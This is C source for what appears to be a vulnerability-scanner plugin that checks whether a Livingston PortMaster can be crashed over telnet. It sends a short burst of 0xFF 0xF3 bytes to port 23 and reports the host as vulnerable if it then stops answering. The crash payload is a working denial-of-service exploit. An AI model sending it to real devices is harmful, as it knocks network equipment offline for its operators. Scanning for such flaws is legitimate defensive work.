/*
 * 
 * pmcrash
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
/*	The following code will crash ANY Livingston PortMaster. 
	It telnets the the portmaster and overflows its buffers.

        Thanks to 'The Doc' for this one.       */



/* pmcrash - note this'll work much faster if all your arguments
             are IP addresses.. mainly because I didn't feel like
             coding a structure to keep track of all the resolved
             names.. so write a script to resolve your list of
             names first, then provide those as arguments */

/* This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 */
#include <includes.h>


#define NAME "Livingston PortMaster crash"
#define DESC "\
It is possible to crash a remote Livingston PortMaster\n\
by overflowing its buffers.\n\n\
Risk factor : high"
#define COPYRIGHT "no copyright"
#define SUMM "crashes a Livingston PortMaster"


PlugExport int 
plugin_init(struct arglist* desc)
{
	plug_set_name(desc, NAME);
        plug_set_description(desc, DESC);
        plug_set_summary(desc, SUMM);
        plug_set_copyright(desc, COPYRIGHT);
        plug_set_category(desc, ACT_DENIAL);
        plug_set_family(desc, "Denial of Service");
        return(0);  
}
 
PlugExport int
plugin_run(struct arglist * args)
{
  int sock;
  char crash[] = { 0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3 };
  
  if(host_get_port_state(args, 23)<=0)return(0);
  if((sock = open_sock_tcp(args, 23))<0)return(0);
  write(sock,crash,10);
  shutdown(sock,0);
  socket_close(sock);
  
  if((sock = open_sock_tcp(args, 23))<0)
  {
   post_hole(args, 23, "\
It was possible to crash the remote host using the\n\
Livingston PortMaster crash method...\n\
Solution : contact your vendor for a fix...\n");
  }
  else 
  	{
	shutdown(sock, 0);
	socket_close(sock);
	}
 return(0);
}

